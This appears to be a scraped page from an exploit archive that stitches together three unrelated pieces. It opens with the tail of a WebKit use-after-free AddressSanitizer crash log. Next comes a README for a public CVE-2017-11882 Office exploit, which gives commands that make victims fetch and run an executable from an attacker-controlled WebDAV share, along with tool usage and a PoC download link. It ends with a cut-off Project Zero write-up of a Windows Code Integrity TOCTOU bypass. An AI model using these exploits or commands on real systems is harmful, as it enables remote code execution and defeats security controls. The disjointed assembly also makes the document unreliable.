    #31 0x10458b175 in WebKit::InjectedBundlePageLoaderClient::didFinishLoadForFrame(WebKit::WebPage&, WebKit::WebFrame&, WTF::RefPtr<API::Object>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x184175)
    #32 0x104b836a5 in WebKit::WebFrameLoaderClient::dispatchDidFinishLoad() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x77c6a5)
    #33 0x10b19ac45 in WebCore::FrameLoader::checkLoadCompleteForThisFrame() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb55c45)
    #34 0x10b18ece7 in WebCore::FrameLoader::checkLoadComplete() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb49ce7)
    #35 0x10ae5d781 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818781)
    #36 0x10a8d9047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #37 0x10a8d1df1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #38 0x10d3a9661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #39 0x104f1a43b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #40 0x104f1d6d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)
    #41 0x104f1cbc9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb15bc9)
    #42 0x10470e117 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x307117)
    #43 0x1044ed695 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xe6695)
    #44 0x1044f6a48 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xefa48)
    #45 0x1191cb842 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d22842)
    #46 0x1191cc1b1 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d231b1)
    #47 0x7fffd52af320 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa7320)
    #48 0x7fffd529021c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x8821c)
    #49 0x7fffd528f715 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87715)
    #50 0x7fffd528f113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #51 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #52 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #53 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #54 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #55 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #56 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #57 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #58 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #59 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #60 0x1043e956c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #61 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x61e00005d0d8 is located 88 bytes inside of 2920-byte region [0x61e00005d080,0x61e00005dbe8)
freed by thread T0 here:
    #0 0x107656294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x11921b650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x1188b9845 in void JSC::MarkedBlock::Handle::specializedSweep<true, (JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1, JSC::(anonymous namespace)::DestroyFunc>(JSC::FreeList*, JSC::MarkedBlock::Handle::EmptyMode, JSC::MarkedBlock::Handle::SweepMode, JSC::MarkedBlock::Handle::SweepDestructionMode, JSC::MarkedBlock::Handle::ScribbleMode, JSC::MarkedBlock::Handle::NewlyAllocatedMode, JSC::MarkedBlock::Handle::MarksMode, JSC::(anonymous namespace)::DestroyFunc const&)::'lambda'(void*)::operator()(void*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1410845)
    #3 0x1188b98fa in void JSC::MarkedBlock::Handle::specializedSweep<true, (JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1, JSC::(anonymous namespace)::DestroyFunc>(JSC::FreeList*, JSC::MarkedBlock::Handle::EmptyMode, JSC::MarkedBlock::Handle::SweepMode, JSC::MarkedBlock::Handle::SweepDestructionMode, JSC::MarkedBlock::Handle::ScribbleMode, JSC::MarkedBlock::Handle::NewlyAllocatedMode, JSC::MarkedBlock::Handle::MarksMode, JSC::(anonymous namespace)::DestroyFunc const&)::'lambda'(unsigned long)::operator()(unsigned long) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x14108fa)
    #4 0x1188b5fcd in void JSC::MarkedBlock::Handle::specializedSweep<true, (JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1, JSC::(anonymous namespace)::DestroyFunc>(JSC::FreeList*, JSC::MarkedBlock::Handle::EmptyMode, JSC::MarkedBlock::Handle::SweepMode, JSC::MarkedBlock::Handle::SweepDestructionMode, JSC::MarkedBlock::Handle::ScribbleMode, JSC::MarkedBlock::Handle::NewlyAllocatedMode, JSC::MarkedBlock::Handle::MarksMode, JSC::(anonymous namespace)::DestroyFunc const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x140cfcd)
    #5 0x1188afced in void JSC::MarkedBlock::Handle::finishSweepKnowingSubspace<JSC::(anonymous namespace)::DestroyFunc>(JSC::FreeList*, JSC::(anonymous namespace)::DestroyFunc const&)::'lambda'()::operator()() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1406ced)
    #6 0x1188af34e in void JSC::MarkedBlock::Handle::finishSweepKnowingSubspace<JSC::(anonymous namespace)::DestroyFunc>(JSC::FreeList*, JSC::(anonymous namespace)::DestroyFunc const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x140634e)
    #7 0x1188aefa2 in JSC::JSDestructibleObjectSubspace::finishSweep(JSC::MarkedBlock::Handle&, JSC::FreeList*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1405fa2)
    #8 0x118b641ab in JSC::MarkedBlock::Handle::sweep(JSC::FreeList*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16bb1ab)
    #9 0x118b5f2e2 in JSC::MarkedAllocator::tryAllocateIn(JSC::MarkedBlock::Handle*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16b62e2)
    #10 0x118b5ec1a in JSC::MarkedAllocator::tryAllocateWithoutCollecting() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16b5c1a)
    #11 0x118b5fce6 in JSC::MarkedAllocator::allocateSlowCaseImpl(JSC::GCDeferralContext*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16b6ce6)
    #12 0x118f305f2 in JSC::Subspace::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1a875f2)
    #13 0x10b9f5219 in void* JSC::allocateCell<WebCore::JSHTMLDocument>(JSC::Heap&, unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13b0219)
    #14 0x10b9f4e89 in WebCore::JSHTMLDocument::create(JSC::Structure*, WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::HTMLDocument>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13afe89)
    #15 0x10b9f4dcb in std::__1::enable_if<std::is_same<WebCore::HTMLDocument, WebCore::HTMLDocument>::value, WebCore::JSDOMWrapperConverterTraits<WebCore::HTMLDocument>::WrapperClass*>::type WebCore::createWrapper<WebCore::HTMLDocument, WebCore::HTMLDocument>(WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::HTMLDocument>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13afdcb)
    #16 0x10b9f4b99 in std::__1::enable_if<!(std::is_same<WebCore::HTMLDocument, WebCore::Document>::value), WebCore::JSDOMWrapperConverterTraits<WebCore::HTMLDocument>::WrapperClass*>::type WebCore::createWrapper<WebCore::HTMLDocument, WebCore::Document>(WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::Document>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13afb99)
    #17 0x10b9f482d in WebCore::createNewDocumentWrapper(JSC::ExecState&, WebCore::JSDOMGlobalObject&, WTF::Ref<WebCore::Document>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13af82d)
    #18 0x10b9f49f8 in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13af9f8)
    #19 0x10c0407ce in WebCore::createWrapper(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::Node>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x19fb7ce)
    #20 0x10b41b57b in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdd657b)
    #21 0x10bc3fe80 in WebCore::JSDOMWindowBase::updateDocument() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x15fae80)
    #22 0x10d061fa3 in WebCore::ScriptController::initScript(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2a1cfa3)
    #23 0x10479c7a6 in WebCore::ScriptController::windowProxy(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x3957a6)
    #24 0x104799e28 in WebCore::ScriptController::globalObject(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x392e28)
    #25 0x104b78fc4 in WebKit::WebFrame::jsContextForWorld(WebKit::InjectedBundleScriptWorld*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x771fc4)
    #26 0x7fffe652f9e1 in Safari::WebFeedFinderController::WebFeedFinderController(Safari::WK::BundleFrame const&) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0x55e9e1)
    #27 0x7fffe6089a67 in Safari::BrowserBundlePageController::determineWebFeedInformation(Safari::WK::BundleFrame const&) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0xb8a67)
    #28 0x7fffe60970b1 in Safari::BrowserBundlePageLoaderClient::didFinishLoadForFrame(Safari::WK::BundlePage const&, Safari::WK::BundleFrame const&, Safari::WK::Type&) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0xc60b1)
    #29 0x7fffe617121c in Safari::WK::didFinishLoadForFrame(OpaqueWKBundlePage const*, OpaqueWKBundleFrame const*, void const**, void const*) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0x1a021c)

previously allocated by thread T0 here:
    #0 0x107655d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x11921bad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x119219d6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x1191a0247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x11919f63a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x10a78b648 in WebCore::Node::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x146648)
    #7 0x10ae0549d in WebCore::HTMLDocument::create(WebCore::Frame*, WebCore::URL const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7c049d)
    #8 0x10aea7ce9 in WebCore::DOMImplementation::createHTMLDocument(WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x862ce9)
    #9 0x10ba41880 in WebCore::jsDOMImplementationPrototypeFunctionCreateHTMLDocumentBody(JSC::ExecState*, WebCore::JSDOMImplementation*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13fc880)
    #10 0x10ba3e938 in long long WebCore::IDLOperation<WebCore::JSDOMImplementation>::call<&(WebCore::jsDOMImplementationPrototypeFunctionCreateHTMLDocumentBody(JSC::ExecState*, WebCore::JSDOMImplementation*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13f9938)
    #11 0x5c8fdbe01027  (<unknown module>)
    #12 0x118b53e49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #13 0x118b4cf6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #14 0x1187b0847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #15 0x11873188a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #16 0x117d4a731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #17 0x117d4a9a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #18 0x117d4ad13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #19 0x10b883615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #20 0x10bc966cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #21 0x10b002010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #22 0x10b001ae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #23 0x10afc9b97 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x984b97)
    #24 0x10afcabde in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x985bde)
    #25 0x10afca553 in WebCore::EventDispatcher::dispatchEvent(WebCore::Node&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x985553)
    #26 0x10afca1de in WebCore::EventDispatcher::dispatchScopedEvent(WebCore::Node&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9851de)
    #27 0x10aa19a86 in WebCore::dispatchChildRemovalEvents(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d4a86)
    #28 0x10aa14152 in WebCore::willRemoveChildren(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cf152)
    #29 0x10aa13cb0 in WebCore::ContainerNode::replaceAllChildren(WTF::Ref<WebCore::Node>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cecb0)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5a4a) in WebCore::TreeScope::documentScope() const
Shadow bytes around the buggy address:
  0x1c3c0000b9c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c3c0000b9d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c3c0000b9e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c3c0000b9f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c3c0000ba00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x1c3c0000ba10: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd
  0x1c3c0000ba20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c3c0000ba30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c3c0000ba40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c3c0000ba50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c3c0000ba60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==29647==ABORTING
*/
HireHackking 
Source: https://github.com/embedi/CVE-2017-11882

CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/

MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882

Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about

Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html

DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410

webdav_exec CVE-2017-11882

A simple PoC for CVE-2017-11882. This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server. The reason why this approach might be handy is a limitation of executed command length. However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine. This script creates simple document with several OLE objects. These objects exploits CVE-2017-11882, which results in sequential command execution.

The first command which triggers WebClient service start may look like this:

cmd.exe /c start \\attacker_ip\ff
Attacker controlled binary path should be a UNC network path:

\\attacker_ip\ff\1.exe
Usage

webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name
Sample exploit for CVE-2017-11882 (starting calc.exe as payload)

example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43163.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1332

Windows: CiSetFileCache TOCTOU Security Feature Bypass
Platform: Windows 10 10586/14393/10S not tested 8.1 Update 2 or Windows 7
Class: Security Feature Bypass

Summary:
It’s possible to add a cached signing level to an unsigned file by exploiting a TOCTOU in CI leading to to circumventing Device Guard policies and possibly PPL signing levels.

Description:

Windows Code Integrity has the concept of caching signing level decisions made on individual files. This is done by storing an extended attribute with the name $KERNEL.PURGE.ESBCACHE and filling it with related binary information. As the EA name is a kernel EA it means it can’t be set by user mode code, only kernel mode code calling FsRtlSetKernelEaFile. Also crucially it’s a purgeable EA which means it will be deleted automatically by the USN journal code if any attempt is made to write to the file after being set. 

As far as I can tell the binary data doesn’t need to correspond to anything inside the file itself, so if we replace the contents of the file with a valid cached signing level the kernel is entirely relying on the automatic purging of the kernel EA to prevent spoofing. To test that theory I copied the EA entry from a valid signed file onto an unsigned file with a non-kernel EA name then used a disk editor to modify the name offline. This worked when I rebooted the machine, so I was confident it could work if you could write the kernel EA entry. Of course if this was the only way to exploit it I wouldn’t be sending this report.

As user mode code can’t directly set the kernel EA the facility to write the cache entry is exposed through ZwSetCachedSigningLevel(2). This takes a number of arguments, including flags, a list of associated file handles and the target handle to write the EA to. There seems to be 3 modes which are specified through the flags:

Mode 1 - This is used by mscorsvw.exe and seems to be used for blessing NGEN binaries. Calling this requires the caller to be a PPL so I didn’t investigate this too much. I’m sure there’s probably race conditions in NGEN which could be exploited, or ways to run in a PPL if you’re admin. The advantage here is you don’t need to apply the cache to a signed file. This is what piqued my interesting in the first place.
Mode 2 - Didn’t dig into this one TBH
Mode 5 - This sets a cache on a signed file, the list of files must only have 1 entry and the handle must match the target file handle. This is the one we’ll be exploiting as it doesn’t require any privileges to call.

Looking through the code inside the kernel the handles passed to ZwSetCachedSigningLevel are also passed as handles into CiSetFileCache which is slightly odd on the face of it. My first thought was you could race the handle lookup when ObReferenceObjectByHandle is called for the target handle and when the code is enumerating the list of handles. The time window would be short but it’s usually pretty easy to force the kernel to reuse a handle number. However it turns out in Mode 5 as the handle is verified to be equal the code just uses the looked up FILE_OBJECT from the target handle instead which removes this issue (I believe).

So instead I looked at racing the writing of the cache EA with the signature verification. If you could rewrite the file between the kernel verifying the signature of the file and the writing of the kernel EA you could ensure your USN journal entries from the writes are flushed through before hand and so doesn’t cause the EA to be purged. The kernel code calls FsRtlKernelFsControlFile with FSCTL_WRITE_USN_CLOSE_RECORD to force this flush just before writing the EA so that should work. 

The question is can you write to the file while you’re doing this? There’s no locking taking place on the file from what I could tell. There is a check for the target file being opened with FILE_SHARE_WRITE (the check for FileObject->SharedWrite) but that’s not the same as the file handle already being writable. So it looks like it’s possible to write to the file.

The final question is whether there’s a time period between signature verification and applying the EA that we can exploit? Turns out CI maps the file as a read only section and calls HashKComputeImageHash to generate the hash once. The code then proceeds to lookup the hash inside a catalog (presumably unless the file has an embedded signature). Therefore there's a clear window of time between the validation and the setting of the kernel EA to write.

